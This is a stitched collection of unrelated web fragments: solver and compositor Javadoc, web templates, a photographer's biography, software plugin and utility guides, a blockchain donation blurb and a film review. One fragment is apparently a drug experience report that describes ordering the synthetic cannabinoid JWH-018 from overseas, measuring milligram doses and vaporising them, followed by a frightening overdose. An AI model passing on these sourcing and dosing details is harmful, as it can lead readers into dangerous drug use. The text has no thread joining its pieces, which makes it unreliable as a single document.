| Modifier and Type | Method and Description |
|---|---|
RealVar[] |
Solver.retrieveRealVars()
Iterate over the variable of
this and build an array that contains the RealVar only. |
| Modifier and Type | Method and Description |
|---|---|
void |
Solver.findOptimalSolution(ResolutionPolicy policy,
RealVar objective,
double precision)
Attempts optimize the value of the
objective variable w.r.t. to the optimization policy . |
| Constructor and Description |
|---|
IntEqRealConstraint(IntVar[] intVars,
RealVar[] realVars,
double epsilon)
Channeling between integer variables intVars and real variables realVars.
|
IntEqRealConstraint(IntVar intVar,
RealVar realVar,
double epsilon)
Channeling between an integer variable intVar and a real variable realVar.
|
RealConstraint(String functions,
RealVar... rvars)
Make a new RealConstraint to model one or more continuous functions, separated with semi-colon ";"
A function is a string declared using the following format: - the '{i}' tag defines a variable, where 'i' is an explicit index the array of variables vars ,
- one or more operators :'+,-,*,/,=,<,>,<=,>=,exp( ),ln( ),max( ),min( ),abs( ),cos( ), sin( ),...' |
RealConstraint(String name,
String functions,
int option,
RealVar... rvars)
Make a new RealConstraint to model one or more continuous functions, separated with semi-colon ";"
A function is a string declared using the following format: - the '{i}' tag defines a variable, where 'i' is an explicit index the array of variables vars ,
- one or more operators :'+,-,*,/,=,<,>,<=,>=,exp( ),ln( ),max( ),min( ),abs( ),cos( ), sin( ),...' |
RealConstraint(String name,
String functions,
RealVar... rvars)
Make a new RealConstraint to model one or more continuous functions, separated with semi-colon ";"
A function is a string declared using the following format: - the '{i}' tag defines a variable, where 'i' is an explicit index the array of variables vars ,
- one or more operators :'+,-,*,/,=,<,>,<=,>=,exp( ),ln( ),max( ),min( ),abs( ),cos( ), sin( ),...' |
RealPropagator(String functions,
RealVar[] vars,
int options)
Create a propagator on real variables, propagated using IBEX.
|
| Constructor and Description |
|---|
ObjectiveManager(RealVar objective,
ResolutionPolicy policy,
double precision,
boolean strict)
Creates an optimization manager for a continuous objective function (represented by a RealVar)
Enables to cut "worse" solutions
|
| Modifier and Type | Method and Description |
|---|---|
double[] |
Solution.getRealBounds(RealVar r)
Get the bounds of r in this solution
|
| Modifier and Type | Method and Description |
|---|---|
static VariableSelector<RealVar> |
RealStrategyFactory.cyclic()
Selects sequentially the next non-instantiated real variable to branch on.
|
| Modifier and Type | Method and Description |
|---|---|
static RealStrategy |
RealStrategyFactory.custom(VariableSelector<RealVar> varS,
RealValueSelector valS,
RealVar... rvars)
Generic strategy to branch on real variables
|
static RealStrategy |
RealStrategyFactory.cyclic_middle(RealVar... reals)
strategy to branch on reals by choosing sequentially the next variable domain to split in two, wrt the middle value
|
| Modifier and Type | Method and Description |
|---|---|
static RealStrategy |
RealStrategyFactory.custom(VariableSelector<RealVar> varS,
RealValueSelector valS,
RealVar... rvars)
Generic strategy to branch on real variables
|
| Modifier and Type | Method and Description |
|---|---|
DecisionOperator<RealVar> |
FastDecisionReal.getDecisionOperator() |
| Modifier and Type | Method and Description |
|---|---|
void |
FastDecisionReal.set(RealVar v,
double value) |
| Modifier and Type | Method and Description |
|---|---|
double |
RealValueSelector.selectValue(RealVar var)
Selects and returns the value to constrained chosen variable with.
|
| Modifier and Type | Method and Description |
|---|---|
double |
RealDomainMin.selectValue(RealVar var) |
double |
RealDomainMiddle.selectValue(RealVar var) |
double |
RealDomainMax.selectValue(RealVar var) |
| Modifier and Type | Method and Description |
|---|---|
RealVar |
Cyclic.getVariable(RealVar[] vars) |
| Modifier and Type | Method and Description |
|---|---|
RealVar |
Cyclic.getVariable(RealVar[] vars) |
| Modifier and Type | Method and Description |
|---|---|
Decision<RealVar> |
RealStrategy.computeDecision(RealVar variable) |
| Modifier and Type | Method and Description |
|---|---|
Decision<RealVar> |
RealStrategy.computeDecision(RealVar variable) |
| Constructor and Description |
|---|
RealStrategy(RealVar[] scope,
VariableSelector<RealVar> varselector,
RealValueSelector valueIterator) |
| Constructor and Description |
|---|
RealStrategy(RealVar[] scope,
VariableSelector<RealVar> varselector,
RealValueSelector valueIterator) |
| Modifier and Type | Method and Description |
|---|---|
static RealVar[] |
VariableFactory.real(IntVar[] VARS,
double PRECISION)
Create an array of real variables based on an array of integer variables VAR.
|
static RealVar |
VariableFactory.real(IntVar VAR,
double PRECISION)
Create a real variable based on an integer variable VAR.
|
static RealVar |
VariableFactory.real(String NAME,
double MIN,
double MAX,
double PRECISION,
Solver SOLVER)
Build a real variable with a bounded domain initialized to [MIN,MAX]
|
static RealVar[] |
VariableFactory.realArray(String NAME,
int SIZE,
double MIN,
double MAX,
double PRECISION,
Solver SOLVER)
Build a SIZE-sized array of real variables.
|
static RealVar[][] |
VariableFactory.realMatrix(String NAME,
int DIM1,
int DIM2,
double MIN,
double MAX,
double PRECISION,
Solver SOLVER)
Build a DIM1*DIM2-sized matrix of real variables.
|
| Modifier and Type | Class and Description |
|---|---|
class |
RealVarImpl
An implementation of RealVar, variable for continuous constraints (solved using IBEX).
|
| Modifier and Type | Method and Description |
|---|---|
RealVar |
RealVarImpl.duplicate() |
| Modifier and Type | Class and Description |
|---|---|
class |
RealView
|
| Modifier and Type | Method and Description |
|---|---|
RealVar |
RealView.duplicate() |
Copyright © 2015. All rights reserved.


Click below to navigate back to the default API Designer dashboard.
Choose from the actions below or jump directly to one of your starred/favorited APIs.
Choose from the actions below or jump directly to one of your starred/favorited Mappings.
Active filters:
Clear All Filters


What We Do
We enable fully traceable, transparent, fast, secure, and direct donations for projects shaping our society and world!
We provide a blockchain-based donation ecosystem to propel educational, cultural, social, and ecological
engagement that matters to all of us!
Our decentralized, blockchain platform enables truly peer-to-peer donations without any bureaucracy and
intermediary.
See Details
Borderless
P2P-Donations
Donating in “Ether” implies an accessible platform by allowing people from all countries to donate for projects.
See moreIntermediary and bureaucracy-free
Our decentralized blockchain solution builds upon smart contract to avoid costly intermediary services.
See moreTrustworthy and Transparent
The immutable blockchain technology establishes trust and allows donors to transparently track their impact.
See moreFast and
free of charge
We offer our social, fully decentralized and autonomous solution for free and enable donations without delay.
See more


Friedlander, Lee
American, 1934 -
Friedlander was born in Aberdeen, Washington, and was introduced to photography at age 14. He studied under Edward Kaminski at the Art Center in Los Angeles from 1953 to 1955. He shot portraits of jazz musicians in New York and New Orleans for album covers in the late 1950s and has made his livelihood as a freelance commercial photographer and as a teacher at UCLA, the University of Minnesota, and Rice University. His work has appeared in Esquire, Art in America, McCall's, Seventeen, Sports Illustrated, and other periodicals.
Friedlander's early work was influenced by Eugene Atget, Walker Evans, and Robert Frank. He was awarded a Guggenheim Fellowship in 1960 and again in 1962 for photographic studies of the changing American scene. His images often featured undramatic views from automobiles and a variety of reflections and images within images. An extensive series of self-portraits is marked by the presence of the photographer's reflection or shadow.
Friedlander was given a one-man show at George Eastman House in Rochester, New York, in 1963. His work was included with that of Garry Winogrand, Duane Michals, Bruce Davidson, and Danny Lyon in the Toward a Social Landscape exhibition at George Eastman House is 1966. The following year he exhibited with Winogrand and Diane Arbusin the show New Documents at the Museum of Modern Art in New York City.
Friedlander was responsible for the discovery and preservation of the work of E. J. Bellocq in 1968. His prints from Bellocq's glass plates were published as Storyville Portraits in 1970. He also collaborated with the artist Jim Dine on a number of projects in the late 1960s. From 1968 to 1971 Friedlander concentrated on a series of party photographs taken with harsh flash. Slides of this work were exhibited at the Museum of Modern Art in 1972. In the same year he was awarded an individual fellowship in photography by the National Endowment for the Arts. During the 1970s Friedlander worked on series of trees, flowers, and bushes, as well as a major project concerning American monuments.
Friedlander photographed the Sculpture Garden of the Hirshhorn Museum in Washington, D. C. in 1975-1976. A major retrospective of his work was held at the Hudson River Museum in Yonkers, New York, in 1978. He received a Friends of Photography award in 1980 and lives and works in New City, New York.
Text from The Encyclopedia of Photography


Home
Research
Portfolio
News & Talks
Yumeng Hou
DH Researcher | Data Scientist | Digital Strategist
Portfolio


Angular thePixel directive
Directive for loading the most useless Angular directive ever: thePixel.
See Github for source.
Example (pixel 1, normal)
Example (pixel 2, random color [the-pixel-color="rand"])
Example (pixel 3, red color [the-pixel-color="#FF0000"]))
Example (pixel 4, position absolute [the-pixel-position="absolute,1,1"]))
Example (pixel 5, position absolute [the-pixel-position="absolute,-10,-10"]))


Me - Male (95kg, 29 y/o, moderate experience of cannabis)
K - Male (100kg, 25 y/o, little experience of cannabis)
S - Female (80kg, 25 y/o, little experience of cannabis)
I ordered 1g of JWH-018 from overseas: the package arrived within a couple of weeks in a nondescript envelope. I'd aquired a milligram scale the previous week for the specific purpose of measuring out JWH-018. The chemical came in a small, labelled plastic bag and appeared to be a slightly-off-white powder the consistency of flour with a tendency to 'clump' into balls
I've been a very-irregular (once every few months; mostly just socially) of cannabis for many years. I was joined by my friends K and S, both with less experience (introduced to it, and drugs in general, by me). We decided it was time to try the JWH-018.
As our 'lab rat', I started with a carefully-measured less-than-1mg dose: I measured 1mg, and then removed almost all of the material from the scale. I placed the chemical in the bowl of an electric vaporiser and heated it until the powder had disappeared. The vapor tasted of almost nothing, with a slight plasticky aftertaste. A timer was set at 00:00.
At 00:15 I felt mostly the same, and was just considering taking another dose when I begun to feel a slight marijuana-like contentment and mellowness. I cracked open my first beer and surfed the net for a while. At 01:05 the mellowness had faded, and I guessed that the drug had worn off.
At 06:00, after a couple of beers each, I persuaded K and S to join me in trying the substance again. I prepared 3mg in the vaporised, which we shared (note: this makes subsequent measurement of exactly who got how much of a dose difficult). We each sucked out a portion from the vaporiser. When we removed the glass bulb of the vaporiser, steam was still escaping from the bowl, so we may not have taken a complete dose.
We sat back and watched some cartoons. We became talkative, and simple concepts expressed in the cartoons became funny. A sense of warmth and contentment washed over me, similar to the mellowness I'd felt earlier, only stronger.
At 06:30 we decided to hit another bowl and a stronger dose. I measured out 9mg and vaped it. As soon as I took a hit of the steam I began to feel it, more so than before: almost as it the second hit activated the first, or the first just happened to kick in about that time. As we hungrily gulped down the vapor, I began to feel a genuine majiuana-like high.
We all rocketed up through the high, laughing most of the way, until we realised that our ascent was out of control. Things were getting more intense far more quickly that we had anticipated. We each felt a tightening of the chest, dizzyness, and fear. At 06:45 S began to panic: tears streamed down her face as she repeatedly asked for reassurance that the feelings that she was having would end soon. K clutched his head and rocked back and forwards, unable to speak. Having had a cannabis-induced freak-out before, myself, I realised that we'd overdosed, and focussed hard on trying to will the effects out of my system and to remain grounded enough to provide help to my friends.
Minutes passed like hours. S was convinced that she was going to die. Both K and I felt nauseous, and K went to the bathroom to throw up (which he continued to have to do for several hours). S reported, later, that she lost her colour vision and began to see what she described as 'dead pixels' in her eyes, that geometry became non-Euclidian and she was unable to differentiate the distances between the walls of the room. I started 'losing time', and even short-term memory: I would go to the kitchen to refill our water glasses and by the time I'd get there I'd forgotten where I was and how I got there, and it took a huge cognitive effort to remain focussed on simple tasks.
At about 07:10 the first wave of regaining control came to us, and we collectively decided that pacing around, drinking lots of water (we all had a strong 'dry throat' feeling; drier than I've ever experienced before), and getting some fresh air were all helping us feel better. We stomped around my house like maniacs, and then went outside and looked up at the stars. For a moment, the cold air made me feel completely normal again, and then the next wave hit us.
Suddenly; everything was hilarious. K and I simultaneously felt a pressure change in the room, and our ears 'popped'. I speculated that this could be pins-and-needles of the inner ear (that's what it felt like to me) tricking us into the idea that the pressure had changed. S lay on the couch, staring at the floor in fits of laughter, and tried to explain why it was so funny, but failed (which was, in itself, the funniest thing in the world).
At 07:20, I went to get more water, and when I came back, the mood had changed. K was once again curled up an a foetal position, and S was shivering and wimpering. For a moment, I wondered if I had entirely imagined the last half hour, and I was more 'far gone' than even I thought. We drank lots more water, and I became concerned that water intoxication might become a risk: began to try to count how many glasses of water each of us had drunk.
The terror was genuine. It took every bit of my reason to persuade myself that I wasn't going to die and that these feelings would pass - and to try to impart this feeling to my terrified friends.
At about 07:45 - over two hours since our second dose - things gradually began to feel more normal. With each 'step' towards normality, we each became profoundly aware of how 'not right' things had been before. It was almost as if we'd forgotten what normal was like, and were having to re-learn. A fear rose in me that perhaps we'd never be quite normal again, but I supressed it. I'd found that focussing on tasks that required some mental agility (even simple things like reading or doing aritmetic) helped ground me in what was real, so I put some music on, quietly, to give the others something to 'latch onto', too. The waves of panic became less common (but still scary).
At about 08:15, K stopped vomiting for the last time. He'd lost a lot of fluids, so I made a round of camomile tea for us all. K took one sip of his and then returned to his foetal position. S fell asleep (and we left her to it; she seemed far more content asleep than she did panicking in a cold sweat). I read a few pages of a history book to give me something to focus on: while I was reading, I was able to pretend that everything was completely normal. I still felt a little nauseous, but having seen K throwing up for several hours in a row, I didn't want to risk getting into that position, so I didn't so much as look at the toilet until I was sure that I wasn't going to hurl.
At 09:00 I offered my bed to K and S, and helped them up and into it. K was physically wrecked and emotionally drained: even his walk was like something from an old zombie movie - slow and deliberate, like each step was a monumental effort. S shivered uncontrollably and failed to hold a cup without support.
I made myself a bed on the couch and slept; fitfully at first, and then really deeply.
 Seriously: check and double-check your measurements, and take it very slowly.
* This is not THC (nearly, but not quite). Whereas pure cannabis tends to leave me relaxed in my happiness, JWH-018 kept me alert and observant the entire time: an almost stimulant effect.
* Do not make judgements about 'how much more' you need once you're already under the influence.
All in all, it was a fascinating and intense experience. I have no intention to be that far-gone ever again, but I will try JWH-018 again, in _small_ doses. S seems interested in trying again, too, and I hope that K hasn't been too put-off, either.
All in all, a fascinating substance with a great deal of potential, but that requires that you treat it with an enormous deal of respect. I read reports before this and thought I'd understood how much respect it needed, but it turns out that despite the warnings, I'd still not fully heeded how potent this innocuous powder really is.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


The ID of the collection.
Entity text to provide context for the queried entity and rank based on that association. For example, if you wanted to query the city of London in England your query would look for London
with the context of England
.
The number of results to return. The default is 10
. The maximum is 1000
.
A text string that appears within the entity text field.
The ID of the environment.
The number of evidence items to return for each result. The default is 0
. The maximum number of evidence items per query is 10,000.
The entity query feature to perform. Supported features are disambiguate
and similar_entities
.
Generated using TypeDoc
Parameters for the
queryEntities
operation.


| Interface | Description |
|---|---|
| DatePickerFragment.TheListener |
The interface that makes this fragment implement
a returnDate function
|
| TView |
TrackerExpress View.
|
| Class | Description |
|---|---|
| AccountFormActivity |
Super class for CreateAccount and Login Activities
that contains their necessary string checking functions
|
| ActionBarActivity |
Class that is extended by classes that use tabs
|
| BasicMapActivity | |
| BuildConfig | |
| Claim |
The Class Claim holds the claim's expense items and
information about the claim like the title, author, etc.
|
| ClaimInfoActivity |
Displays information about claims.
|
| ClaimList |
Holds all of the apps claims.
|
| Controller |
Holds all the static data members of the app.
|
| CreateAccountActivity |
Allows the user to create an account.
|
| DatePickerFragment |
The DatePickerFragment makes getting a date from a date picker a
task of ease.
|
| Destination |
The Destination class holds all the necessary information
for a complete destination
|
| EditableActivity |
Superclass for the edit activities (e.g.
|
| EditAccountActivity | |
| EditBitmap |
Class to rotate and scale down the bitmap images captured by the user.
|
| EditClaimActivity |
Allows the creation and modification of claims.
|
| EditExpenseActivity |
Allows creation and editing of an expense.
|
| ElasticSearchEngineClaims |
Performs elastic search operations on claim objects.
|
| ElasticSearchEngineUnthreadedClaims |
Performs elastic search operations.
|
| ElasticSearchEngineUnthreadedUser |
Performs elastic search operations.
|
| ElasticSearchEngineUser |
Performs elastic search operations needed for user
account management
|
| Expense |
An expense item hold data for a signle purchase, as well as a photo and location.
|
| ExpenseList |
Holds the expenses for a single claim.
|
| ExpenseListAdapter |
Displays expense list inside of view claim activity.
|
| ExpenseListFragment |
Fragment that displays the expense list.
|
| FileCourrier<T> |
Stores and retrieves files.
|
| GlobalClaimsFragment |
Fragment that deals with the global claim list, claims submitted by other
users.
|
| GlobalClaimsListAdapter |
Displays the list of global claims.
|
| InteractiveMapActivity |
Map for our app.
|
| LoginActivity |
A login screen that offers login via email/password.
|
| MainActivity |
The Class MainActivity.
|
| MainClaimListAdapter |
List object for the claim list.
|
| MainTagListAdapter |
List object for the tag list.
|
| MyClaimsFragment |
Displays the list of claims made by the current user.
|
| NetworkStateReceiver |
NetworkStateReceiver's sole responsibility is to act as a
network change listener.
|
| ParseHelper |
Helper class for checking if numbers are valid.
|
| PlaceAutocompleteAdapter |
Adapter that handles Autocomplete requests from the Places Geo Data API.
|
| R | |
| R.array | |
| R.attr | |
| R.color | |
| R.dimen | |
| R.drawable | |
| R.id | |
| R.integer | |
| R.layout | |
| R.menu | |
| R.raw | |
| R.string | |
| R.style | |
| R.styleable | |
| Receipt |
Image of a receipt, held by expense objects.
|
| RowTableLayout |
Creates a row table.
|
| SectionsPagerAdapter |
The Class SectionsPagerAdapter.
|
| Tag |
Tags allow claims to be categorized.
|
| TagListFragment |
Fragment activity that deals with the tag list tab in the main activity.
|
| TagMap |
Holds all the tags of the system, and handles file IO,
loading the TagMap upon construction.
|
| TestActivity |
Blank activity used for tests that need to do file IO
|
| TModel |
TModel is the parent of all models in our app.
|
| User |
Stores data about the current user.
|
| ViewClaimFragment |
Fragment that handles the tab that displays claim properties in the view claim activity.
|
| ViewImageDialog |
Allows images to be blown up.
|
| Exception | Description |
|---|---|
| ExpenseNotFoundException |
Thrown if an invalid Uuid is used.
|


Your username and password didn't match. Please try again.
{% endif %} {% if next %} {% if user.is_authenticated %}Your account doesn't have access to this page.
{% else %}Please login to see this page.
{% endif %} {% endif %}{% load static %}
Your username and password didn't match. Please try again.
{% endif %} {% if next %} {% if user.is_authenticated %}Your account doesn't have access to this page.
{% else %}Please login to see this page.
{% endif %} {% endif %}


{{detail.title}}
{{detail.category}}
PRICE: $ {{detail.price}}
Number:
The dog was the first species to be domesticated by hunter–gatherers more than 15,000 years ago, which predates agriculture. Their long association with humans has led dogs to be uniquely attuned to human behavior and they can thrive on a starch-rich diet that would be inadequate for other canids.
The dog has been selectively bred over millennia for various behaviors, sensory capabilities and physical attributes.[16] Dogs vary widely in shape, size and color
comment


V1Attachments is a standalone utility that allows you to attach a file to any asset in VersionOne; this includes but is not limited to, a Story, Defect, Task, or Test. This utility can be used directly or you can create a shortcut in the appropriate Windows subdirectory to add VersionOne to the list of “Send To” options available on the right click menu.
To install V1Attachments, copy the executable, along with the supporting files [1] into a subdirectory on your computer. For the purpose of this document we assume the location is C:\tools. To test the install double click on V1Attachments.exe; you should see the following screen
Before using V1Attachments, you need to set the VersionOne system parameters. To accomplish this, click the Configuration icon located in the top right hand corner of the application window (below the close window icon). This will open the Configuration dialog shown below.
From this dialog, supply the following parameters:
|
Parameter |
Description |
|
Application Path |
URL to your VerionOne instance |
|
Username |
Your VersionOne user name |
|
Password |
Your VersionOne password |
Once configured, use the Browse button to locate the file you wish to attach. Once selected you can either use the search icon, or the “Recent Items” dropdown, to select the target VersionOne asset. Once the asset is selected, you need to provide a name for this attachment and optionally enter a description. Clicking Ok will cause the selected file to be uploaded and attached to the asset specified.
The following image shows the details page after the file was uploaded.
To use search click the magnifying glass icon located on the toolbar. This will open a search window that allows you to specify search terms. Entering a term in the textbox and clicking search will return the VersionOne assets containing that term.
To make it easier to attach files to VersionOne assets, you can add the V1Attachments utility to the list of available options on the Windows “Send To” menu. To accomplish this you need to create a shortcut in the “SendTo” directory. The “SendTo” subdirectory is a hidden subdirectory located under C:\Documents and Settings\{your Windows user id}\. The following image shows the property page for the V1Attachment shortcut named VersionOne.
With this Shortcut, VersionOne is now an option on my “Send To” menu, as illustrated below.
When I choose this option, V1Attachments is launched and all I need to do is choose the asset.
[1] Supporting files are VersionOne.SDK.dll and VersionOne.APIClient.dll. Once configured, you also need config.xml


Why WattTime Impact API?
The CO2 intensity of electricity varies in real time throughout the day. Ever wanted to know...
- What time of day has the cleanest energy in New England?
- What is the carbon footprint of my electricity, right here, right now?
- How variable is wind power production in the Midwest?
- Is California on track to meet its 33%-by-2020 renewable portfolio standard?
It turns out that for most parts of the US, the data to answer these kind of questions are freely and openly available. But these data are scattered in wildly different formats across a wide variety of sources, not all of which are exactly easy to find.
The WattTime Impact API standardizes this information to empower app developers to build cool tools that make real-time electricity data accessible, exciting, and actionable. It's also useful for data analysts who want a single portal that provides energy cleanliness data in a simple, queryable, standardized format.


{% extends "base.html" %} {% load static %} {% load extra_tags %} {% load i18n %} {% load aggregation_tags %} {% block title %} Delete Aggregation Rule{% endblock %} {% block page_title %} Delete Aggregation Rule {% endblock %} {% block content %}
Are you sure you want to delete this Aggregation Rule?
{% trans 'If data is older than' %} {{ object.number_of_period }} {{ object.period|aggregation_period }} {% trans 'Aggregate to ' %} {{ object.granularity|granularity }}


%- include('partials/head.ejs'), {title: title}%>
<%- include('partials/nav.ejs') %>
<%- heading %>
<% if (addResult == "success") { %>
Your review was successfully added. Thanks!
<% } %>
Module
<% courseList.forEach(function(course){ %>
> <%= course.id %> - <%= course.title %>
<% }) %>
Session
<% semesterList.forEach(function(semester){ %>
<%= semester.name_string %>
<% }) %>
How difficult was this module?
Choose a value...
1 - Trivial
2 - Easy
3 - Moderate
4 - Challenging
5 - Hard
How many hours per week did you work?
How would you rate the quality of this module?
Choose a value...
1 - Very Poor
2 - Poor
3 - Adequate
4 - Good
5 - Excellent
Your Review
<%- include('partials/bootstrap_reqs.ejs')%>


public class Output extends WLCHandle
| Modifier and Type | Field and Description |
|---|---|
static Output |
INVALID_OUTPUT
Invalid output, where handle pointer is 0.
|
| Modifier and Type | Method and Description |
|---|---|
void |
focus()
Focuses this output.
|
static Output |
from(com.sun.jna.Pointer handle)
Creates output from provided pointer.
|
static Output |
getFocused() |
int |
getGammaSize() |
long |
getMask() |
MutableViewList |
getMutableViews()
Returns mutable view list of all views of this output.
|
String |
getName() |
static List<Output> |
getOutputs() |
Renderer |
getRenderer() |
Size |
getResolution()
Get real resolution.
|
long |
getScale() |
List<View> |
getViews() |
Size |
getVirtualResolution() |
boolean |
isAsleep() |
void |
requestRepaint()
Schedules render for this output.
|
static void |
setContextCreatedCallback(OutputContextCreatedCallback cb)
Sets callback to be called when context is created for this output.
|
static void |
setContextDestroyedCallback(OutputContextDestroyedCallback cb)
Sets callback to be called when context is destroyed for this output.
|
static void |
setCreatedCallback(OutputCreatedCallback cb)
Sets callback to be called when output is created.
|
static void |
setDestroyedCallback(OutputDestroyedCallback cb)
Sets callback to be called when output is destroyed.
|
static void |
setFocusCallback(OutputFocusCallback cb)
Sets callback to be called when output focus is changed.
|
void |
setGamma(int len,
short[] r,
short[] g,
short[] b)
Sets gamma values.
|
void |
setMask(long mask)
Sets mask.
|
static void |
setPostRenderCallback(OutputPostRenderCallback cb)
Sets callback which is called when output was rendered.
|
static void |
setPreRenderCallback(OutputPreRenderCallback cb)
Sets callback which is called when output is about to be rendered.
|
void |
setResolution(Size resolution,
long scale)
Sets the resolution of this output.
|
static void |
setResolutionCallback(OutputResolutionCallback cb)
Sets callback when resolution of this output is changed.
|
void |
setSleep(boolean sleep)
Sets the sleep status of this output.
|
boolean |
setViews(List<View> views)
After this call, output will have only views provided in the list.
|
String |
toString() |
static void |
unfocus()
Unfocuses all outputs (equivalent to
INVALID_OUTPUT .focus() ). |
equals, getCustomData, getHandle, hashCode, setCustomData, to
public static final Output INVALID_OUTPUT
public static Output from(com.sun.jna.Pointer handle)
handle
- public static void setCreatedCallback(OutputCreatedCallback cb)
cb
- public static void setDestroyedCallback(OutputDestroyedCallback cb)
cb
- public static void setFocusCallback(OutputFocusCallback cb)
cb
- public static void setResolutionCallback(OutputResolutionCallback cb)
cb
- public static void setPreRenderCallback(OutputPreRenderCallback cb)
cb
- public static void setPostRenderCallback(OutputPostRenderCallback cb)
cb
- public static void setContextCreatedCallback(OutputContextCreatedCallback cb)
cb
- public static void setContextDestroyedCallback(OutputContextDestroyedCallback cb)
cb
- public String getName()
public boolean isAsleep()
public int getGammaSize()
public Size getVirtualResolution()
public long getMask()
public Size getResolution()
setResolution(Size, long)
call or initially.
Do not use this for coordinate boundary.public static Output getFocused()
public long getScale()
public MutableViewList getMutableViews()
MutableViewList} on how to correctly use this object
public Renderer getRenderer()
public void setSleep(boolean sleep)
public void setGamma(int len, short[] r, short[] g, short[] b)
len
- r
- arrays of uint8_t color ramp values as shorts, must be len lengthg
- arrays of uint8_t color ramp values as shorts, must be len lengthb
- arrays of uint8_t color ramp values as shorts, must be len lengthpublic void setResolution(Size resolution, long scale)
resolution
- scale
- public void setMask(long mask)
mask
- public boolean setViews(List<View> views)
views
- public void focus()
public static void unfocus()
INVALID_OUTPUT
.focus()
).public void requestRepaint()


Audio Player (wrapper for AUDIO HTML 5)
It is possible to select the audio source file - locally or from the network
It is possible to download the audio file from the network
It is possible to playback speed
You can attach to any div or body
- Select the audio source file
/*Create Player*/
let player =playLib.createPlayer(document.getElementById("AnyDIV"))
/*Delete Player*/
let delpl = playLib.deletePlayer(player)


Plugin Information |
|---|
View MonKit on the plugin site for more information. |
Developed by
Sponsored by
The MonKit plugin is used to display charts of data delivered in XML compliant with monkit.xsd. Monkit also has a small Java API you can use to produce the XML.
For clients who wish to see the graphs produced by Monkit. Access to google API site is required. Since it uses the graphing engine to create the charts. If you do not have access to the internet from the machine you're browsing the job, you can use version 0.2.4
The idea of this plugin is, that given any xml complying to the xsd http://code.praqma.net/schemas/monkit/1.0.1/monkit.xsd a chart will be produced and displayed in the project.
The basic format is given as a set of categories, which contains a set of observations.
Each category will be displayed as a chart and each observation for a category will be a graph in that chart.
For example:
<categories> <category name="memory" scale="mb"> <observations> <observation name="Server 1">100</observation> <observation name="Server 2">200</observation> </observations> </category> <category name="disk" scale="gb"> <observations> <observation name="Server 1">41</observation> <observation name="Server 2">58</observation> </observations> </category> </categories>
The formation of the xml can be eased with a small tool, MonKit, which is written in java and can be found at github https://github.com/Praqma/MonKit.
The charts looks like this:
As an additional feature, MonKit plugin can set the build health. This can be configured like this:
This should be read as, the category "disk" is at full health at 75 or above and unstable at 50 and below. The values between these two numbers are interpolated to a build health percentage.
Using MonKit
This section will describe how to use MonKit as an API.
For now there's only an API for Java.
Java
MonKit can be included in your Maven project if you include our repository in the distributionManagement section and the dependency in the dependencies section - like this:
<repositories> <repository> <id>praqma</id> <name>praqma</name> <url>http://code.praqma.net/repo/maven</url> </repository> ... </repositories> ... <dependencies> <dependency> <groupId>net.praqma</groupId> <artifactId>monkit</artifactId> <version>0.1.6</version> </dependency> ... </dependencies>
The API works as follows:
- Create a MonKit instance.
- Add a category
- Add an observation
- Repeat from 2 or 3
- save() it
By default MonKit saves the xml file to the current workspace in a file called monkit.xml.
The filename can be given as a File argument to the constructor or save().
Two static methods are available to generate MonKit instances:
- fromString(String), where String is a velformed valid MonKit xml String
- fromXML(File), where File points to a velformed valid MonKit xml File
To exemplify:
MonKit mk = new MonKit(); mk.addCategory("category", "scale"); mk.add("name", "1", "category"); mk.save();
The previous code will produce a file called monkit.xml in the current working directory.
The following code will produce three MonKit instances, merge them, create a final instance and save it to "myfile.xml" in the current working directory.
MonKit mk1 = MonKit.fromString(" <categories> <category name=\"category\" scale=\"scale\"> <observation name=\"name1\">7</observation> <observation name=\"name2\">10</observation> </category><category name=\"category2\" scale=\"scale2\"/> </categories> " ); MonKit mk2 = MonKit.fromString(" <categories> <category name=\"category\" scale=\"scale\"> <observation name=\"name1\">8</observation> <observation name=\"name4\">11</observation> </category><category name=\"category2\" scale=\"scale2\"/> </categories> " ); MonKit mk3 = MonKit.fromString(" <categories> <category name=\"category2\" scale=\"scale\"> <observation name=\"name44\">9</observation> <observation name=\"name22222\">12</observation> </category> </categories> " ); MonKit mk = MonKit.merge(mk1,mk2,mk3); mk.save(new File("myfile.xml"));
The Javadoc can be seen at http://code.praqma.net/docs/monkit
Changelog
1.0.0 (2015, October 23)
- Fixed an issue with values in the ui. Use long instead of integer to hold bigger values.
Attachments:
memory.png (image/png)
configure.png (image/png)
praqmalogo.png (image/png)
grundfos_logo.jpg (image/jpeg)
dump1.png (image/png)
configure2.png (image/png)


The General (1998) 2 1/2 stars out of 4. Starring Brendan Gleeson and Jon Voight. Directed by John Boorman
John Boorman's The General is an interesting, yet frustrating, look at the life of Martin Cahill, a notorious Dublin criminal.
Shot almost documentary-style in black and white, Boorman's film is a fascinating look at a man who held the basic institutions of society the law, the church in contempt, and used his cunning and ferocity to live life on his own savage terms.
Cahill, nicknamed "The General," was a legend in Ireland during his brutal life, yet very few people could identify him. Cahill developed a habit of continually obscuring his face, thus making it difficult for anyone to get a clear picture of him. And it seems, in a sense, Boorman was confronted with that same problem. For while he shows the brazen and clever ways Cahill planned and committed his various crimes, the director seems unable to get under his subject's skin.
Boorman masterfully displays Cahill's rage and contempt, his bravado and cleverness, but he falls short in showing what sparked it.

Yet while this may be a simplistic approach to explaining his contempt for authority and society, it does not answer the big question: How and where did Cahill develop the wiliness to plan such perfect crimes as well as outwit the police for nearly two decades?
As you watch The General, you get the sense that Boorman is valiantly attempting to paint a complete picture of Cahill, yet his brush continually misses strokes.
For example, for years Cahill lived in a menage a trois with his wife and her sister, and had several children by both. No explanation for this odd arrangement is offered.
As Cahill, Brendan Gleeson (best known to American audiences as Mel Gibson's friend, Hamish, in the actor's Oscar-winning Braveheart) gives a compelling performance.
He creates a man of contradictions a loving husband and father at his homes, but a brutal, conniving, merciless thug on the outside.
Gleeson's Cahill is a deadly charmer.
Jon Voight seems wasted as the police inspector who's obsessed with bringing Cahill to justice. There is nothing particularly memorable about his performance.
At a bit over two hours, The General seems to lapse during some sequences. Also, the Irish accents are a bit hard to understand, and Cahill's habit of covering his face and talking through his hands makes comprehending what he is saying even more difficult at times.
Despite these obstacles, The General is an interesting look at a unusual individual. It's a movie Boorman fans used to his artistic visions in such films as Excalibur and The Emerald Forest may not find totally satisfying. But the force of Cahill's personality draws you to the screen and rivets your attention.
Bob Bloom is the film critic at the Journal and Courier in Lafayette, IN. He can be reached by e-mail at<EMAIL_ADDRESS>or at<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
